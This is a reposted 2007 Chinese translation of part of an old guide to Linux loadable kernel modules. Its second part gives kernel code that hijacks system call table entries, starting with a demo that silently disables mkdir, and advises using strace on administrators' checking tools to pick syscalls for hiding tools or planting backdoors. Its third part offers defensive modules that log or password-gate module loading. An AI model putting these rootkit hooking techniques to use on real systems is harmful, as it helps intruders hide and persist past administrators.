Linux系統可解除安裝核心模組完全指南(2)(轉)

worldblog發表於2007-08-10
Linux系統可解除安裝核心模組完全指南(2)(轉)[@more@]

  第二部分 漸入佳境

  2.1 如何截獲系統呼叫

  現在我們開始入侵LKM,在正常情況下LKMs是用來擴充套件核心的(特別是那些硬體驅動)。然而我們的‘Hacks’做一些不一樣的事情。他們會截獲系統呼叫並且更改他們,為了改變系統某些命令的響應方式。

  下面的這個模組可以使得任何使用者都不能建立目錄。這只不過是我們隨後方法的一個小小演示。

  #define MODULE

#define __KERNEL__

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

extern void* sys_call_table[];

/*sys_call_talbe 被引入,所以我們可以存取他*/

int (*orig_mkdir)(const char *path);

/*原始系統呼叫*/

int hacked_mkdir(const char *path)

{

return 0;

/*其他一切正常,除了新建操作,該操作什麼也不做*/

}

int init_module(void)

/*初始化模組*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}

void cleanup_module(void)

/*解除安裝模組*/

{

sys_call_table[SYS_mkdir]=orig_mkdir;

/*恢復mkdir系統呼叫到原來的哪個*/

}

  編譯並啟動這個模組(見1.1)。然後嘗試新建一個目錄,你會發現不能成功。由於返回值是0(代表一切正常)我們得不到任何出錯資訊。在移區模組之後,我們又可以新建目錄了。正如你所看到的,我們只需要改變sys_call_table(見1.2)中相對應的入口就可以截獲到系統呼叫了。

  截獲系統呼叫的通常步驟如下:

  找到你需要的系統呼叫在sys_call_table[]中的入口(看一眼include/sys/syscall.h)

  儲存sys_call_table[x]的舊入口指標。(在這裡x代表你所想要截獲的系統呼叫的索引)

  將你自己定義的新的函式指標存入sys_call_table[x]

  你會意識到儲存舊的系統呼叫指標是十分有用的,因為在你的新呼叫中你會需要他來模擬原始呼叫。當你在寫一個'Hack-LKM'時你所面對的第一個問題是:

  我到底該截獲哪個系統呼叫?

  2.2一些有趣的系統呼叫

  你並不是一個管理核心的上帝,因此你不知道每一個使用者的應用程式或者命令到底使用了那些系統呼叫。因此我會給你一些提示來幫助你找到獲得控制的系統呼叫。

  讀原始碼。在一個象linux這樣的系統中,你可以找到任何一個使用者(或者管理員)所用的程式的原始碼。一旦你發現了某個基本的函式,像dup,open,write.....轉向b

  下面看看include/sys/syscall.h(見1.2)。試著去直接找相對應的系統呼叫(查詢dup->你就會發現SYS_dup,查詢write,你就會發現SYS_write;....)。如果沒有找到轉向c

  一些象socket,send,receive,....這樣的呼叫並不是透過一個系統呼叫實現的--正如我以前說過的那樣。這時就要看一看包含相關係統呼叫的標頭檔案。

  要記住並不是每一個c庫裡面的函式都是系統呼叫。絕大多數這樣的函式和系統呼叫毫無關係。一個稍微有一點經驗的hacker會看看1.2裡面的列表,那已經提供了足夠的資訊。例如你要知道使用者id管理是透過uid的系統呼叫實現的等等。如果你真的想確定你可以看看庫函式/核心的原始碼。

  最困難的問題是一個系統管理員寫了自己的應用程式來檢查系統的完整性或者安全性。關於這些程式的問題在於缺乏原始碼。我們不能確定這個程式到底是如何工作的以及我們應該截獲那些系統呼叫來隱藏我們的禮物/工具。甚至有可能他引入了一個截獲hacker們經常使用的系統呼叫的LKM來隱藏他自己,並檢查系統的安全性(系統管理員們經常使用一些駭客技術來保護他們的系統)。

  那我們應該如何繼續呢?

  2.2.1 發現有趣的系統呼叫(strace方法)

  假定你已經知道了某個系統管理員用來檢查系統的程式(這個可以透過某些其他的方法得到,象TTY hijacking(見2.9/appendix

  a),現在唯一的問題是你需要讓你的禮物躲過系統管理員的程式直到.....)。

  好,現在用strace來執行這個程式(也許你需要root許可權來執行他)

  # strace super_admin_proggy

  這會給你一個十分棒的關於這個程式的每個系統呼叫的輸出。這些系統呼叫有可能都要加入到你的hacking LKM當中去。我並沒有一個這樣的管理程式作為例子給你看。但是我們可以看看’strace whoami‘的輸出:

  execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x40007000

mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

open("/etc/ld.so.cache", O_RDONLY)   = 3

mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

close(3)                = 0

stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or

directory)

open("/lib/libc.so.5", O_RDONLY)    = 3

read(3, "177ELF1113"..., 4096) = 4096

mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000

mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)

= 0x4000c000

mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,

0x81000) = 0x4008e000

mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000

close(3)                = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

munmap(0x40008000, 13363)       = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX)         = 0

geteuid()               = 500

getuid()                = 500

getgid()                = 100

getegid()               = 100

brk(0x804aa48)             = 0x804aa48

brk(0x804b000)             = 0x804b000

open("/usr/share/locale/locale.alias", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x40008000

read(3, "# Locale name alias data base #"..., 4096) = 2005

brk(0x804c000)             = 0x804c000

read(3, "", 4096)           = 0

close(3)                = 0

munmap(0x40008000, 4096)        = 0

open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file

or directory)

open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

close(3)                = 0

geteuid()               = 500

open("/etc/passwd", O_RDONLY)     = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x4000b000

read(3, "root:x:0:0:root:/root:/bin/bash "..., 4096) = 1074

close(3)                = 0

munmap(0x4000b000, 4096)        = 0

fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x4000b000

write(1, "r00t ", 5r00t

)         = 5

_exit(0)                = ?

  這確實是一個非常美妙的關於命令’whoami‘的系統呼叫列表,不是麼?在這裡為了控制’whoami‘的輸出需要攔截4個系統呼叫

  geteuid()               = 500

  getuid()                = 500

  getgid()                = 100

  getegid()               = 100

  可以看看2.6的哪個程式的實現。這種分析程式的方法對於顯示其他基本工具的資訊也是十分重要的。

  我希望現在你能夠找到那些能夠幫助你隱藏你自己的,或者做系統後門,或者任何你想做的事情的系統呼叫.

  第三部分 解決方案(給系統管理員)

  3.1 LKM檢測的理論和想法

  我想現在該到幫助我們的系統管理員來保護他們的系統的時候了。在解釋一些理論以前,為了使你的系統變的安全,請記住如下的基本原則:

  絕對不要安裝你沒有原始碼的LKMs。(當然,這對於普通的可執行檔案也適用)

  如果你有了原始碼,要仔細檢查他們(如果你能夠的話)。還記得tcpd木馬問題嗎?大的軟體包很複雜,因此很難看懂。但是如果你需要一個安全的系統,你必須分析原始碼。

  甚至你已經遵守了這些原則,你的系統還是有可能被別人闖入並放置LKM(比如說溢位等等)。

  因此,可以考慮用一個LKM記錄每一個模組的載入,並且拒絕任何一個不是從指定安全安全目錄的模組的載入企圖。(為了防止簡單的溢位。不存在完美的方法...)。記錄功能可以透過攔截create_module(...)來很輕易的實現。用同樣的方法你也可以檢查模組載入的目錄.

  當然拒絕任何的模組的載入也是有可能的。但是這是一個很壞的方法。因為你確實需要他們。因此我們可以考慮改變模組的載入方式,比如說要一個密碼。密碼可以在你控制的create-module(...)裡面檢查。如果密碼正確,模組就會被載入,否則,模組被丟棄。

  要注意的是你必須掩藏你的模組並使他不可以被卸栽。因此,讓我們來看看一些記錄LKM和密碼保護的實現的原型。(透過保護的create_module(...)系統呼叫)。

  3.1.1 一個使用的檢測器的原形

  對於這個簡單的例子,沒有什麼可以說的。只不過是攔截了sys_create_module(...)並且記錄下了載入的模組的名字。

  #define MODULE

#define __KERNEL__

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

extern void* sys_call_table[];

int (*orig_create_module)(char*, unsigned long);

int hacked_create_module(char *name, unsigned long size)

{

char *kernel_name;

char hide[]="ourtool";

int ret;

kernel_name = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_name, name, 255);

/*這裡我們向syslog記錄,但是你可以記錄到任何你想要的地方*/

printk("<1> SYS_CREATE_MODULE : %s ", kernel_name);

ret=orig_create_module(name, size);

return ret;

}

int init_module(void)

/*初始化模組*/

{

orig_create_module=sys_call_table[SYS_create_module];

sys_call_table[SYS_create_module]=hacked_create_module;

return 0;

}

void cleanup_module(void)

/*解除安裝模組*/

{

sys_call_table[SYS_create_module]=orig_create_module;

}

  這就是所有你需要的。當然,你必須加一些程式碼來隱藏這個模組,這個應該沒有問題。在使得這個模組不可以被解除安裝以後,一個hacker只可以改變記錄檔案了。但是你也可以把你的記錄檔案存到一個不可被接觸的檔案中去(看2.1來獲得相關的技巧).當然,你也可以攔截sys_init_module(...)來顯示每一個模組。這不過是一個品位問題。

  3.1.2 一個密碼保護的create_module(...)的例子

  這一節我們會討論如何給一個模組的載入加入密碼校驗。我們需要兩件事情來完成這項任務:

  一個檢查模組載入的方法(容易)

  一個校驗的方法(相當的難)

  第一點是十分容易實現的。只需要攔截sys_create_module(...),然後檢查一些變數,核心就會知道這次載入是否合法了。但是如何進行校驗呢?我必須承認我沒有花多少時間在這個問題上。因此這個方案並不是太好。但是這是一篇LKM的文章,因此,使用你的頭腦去想一些更好的辦法。我的方法是,攔截stat(...)系統呼叫。當你敲任何命令時,系統需要搜尋他,stat就會被呼叫.

  因此,在敲命令的同時敲一個密碼,LKM會在攔截下的stat系統呼叫中檢查他.[我知道這很不安全;甚至一個Linux

  starter都可以擊敗這種機制.但是(再一次的)這並不是這裡的重點....].看看我的實現(我從plaguez的一個類似的LKM中直接搶過來了很多現存的程式碼....)

  #define MODULE

#define __KERNEL__

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

extern void* sys_call_table[];

/*如果lock_mod=1 就是允許載入一個模組*/

int lock_mod=0;

int __NR_myexecve;

/*攔截create_module(...)和stat(...)系統呼叫*/

int (*orig_create_module)(char*, unsigned long);

int (*orig_stat) (const char *, struct old_stat*);

char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;

do {

dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '') && (compt != n));

return dest;

}

int hacked_stat(const char *filename, struct old_stat *buf)

{

char *name;

int ret;

char *password = "password";

/*yeah,一個很好的密碼*/

name  = (char *) kmalloc(255, GFP_KERNEL);

(void) strncpy_fromfs(name, filename, 255);

/*有密碼麼?*/

if (strstr(name, password)!=NULL)

{

/*一次僅允許載入一個模組*/

lock_mod=1;

kfree(name);

return 0;

}

else

{

kfree(name);

ret = orig_stat(filename, buf);

}

return ret;

}

int hacked_create_module(char *name, unsigned long size)

{

char *kernel_name;

char hide[]="ourtool";

int ret;

if (lock_mod==1)

{

lock_mod=0;

ret=orig_create_module(name, size);

return ret;

}

else

{

printk("<1>MOD-POL : Permission denied ! ");

return 0;

}

return ret;

}

int init_module(void)

/*初始化模組*/

{

__NR_myexecve = 200;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

__NR_myexecve--;

sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];

orig_stat=sys_call_table[SYS_prev_stat];

sys_call_table[SYS_prev_stat]=hacked_stat;

orig_create_module=sys_call_table[SYS_create_module];

sys_call_table[SYS_create_module]=hacked_create_module;

printk("<1>MOD-POL LOADED... ");

return 0;

}

void cleanup_module(void)

/*解除安裝模組*/

{

sys_call_table[SYS_prev_stat]=orig_stat;

sys_call_table[SYS_create_module]=orig_create_module;

}

  程式碼本身很清楚.下面將會告訴你如何才能讓你的LKM更安全,也許這有一些多疑了 :) :

  使用另外一種檢驗方式(使用你自己的使用者空間介面,使用你自己的系統呼叫;使用使用者的ID(而不僅僅是普通的密碼);也許你有一個生物監測裝置->讀一些文件並且在linux下編寫自己的裝置驅動,然後使用他 :) ...)但是,要記住:哪怕是最安全的硬體保護(軟體狗,生物監測系統,一些硬體卡)也常常脆弱的不安全的軟體而被擊敗.你可以使用一種這樣的機制來讓你的系統變得安全:用一塊硬體卡來控制你的整個核心.

  另外一種不這麼極端的方法可以是寫你自己的系統呼叫來負責校驗.(見2.11,那裡有一個建立一個你自己的系統呼叫的例子)

  找到一個更好的方法在sys_create_module(...)中進行檢查.檢查一個變數並不是十分的安全.如果某些人控制了你的系統.他是可以修改記憶體的(見下一章)

  找到一個方法使得一個入侵者沒有辦法透過你的校驗來載入他的LKM

  加入隱藏的功能.

  ...

  有很多工作可以做.但是即使有了這些工作,你的系統也不是完全就是安全的.如果某些人控制了你的系統,他是可以發現一些方法來載入他的LKM的(見下一章);甚至他並不需要一個LKM,因為他只是控制了這個系統,並不想隱藏檔案或者程式(和其他的LKM提供的美妙的功能).

  3.2 防止LKM傳染者的方法

  記憶體駐留的掃描程式(實時的)(就像DOS下的TSR病毒掃描;或者WIN9x下的VxD病毒掃描)

  檔案檢查掃描器(檢查模組檔案裡面的特徵字串)

  第一種方法可以透過攔截sys_create_module實現(或者init_module呼叫).第二種方法需要一些模組檔案的特徵字串.因此我們必須檢查兩個elf檔案頭或者標誌位.當然,其他的一些LKM傳染者可能使用一些改進了的方法.(加密,自我更改程式碼等等).我不會提供一個檢查檔案的掃描器.因為你只不過需要寫一個小的使用者空間的程式來讀進模組檔案,並且檢查兩種elf檔案頭('ELF'字串,比如)

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-940267/,如需轉載,請註明出處,否則將追究法律責任。

相關文章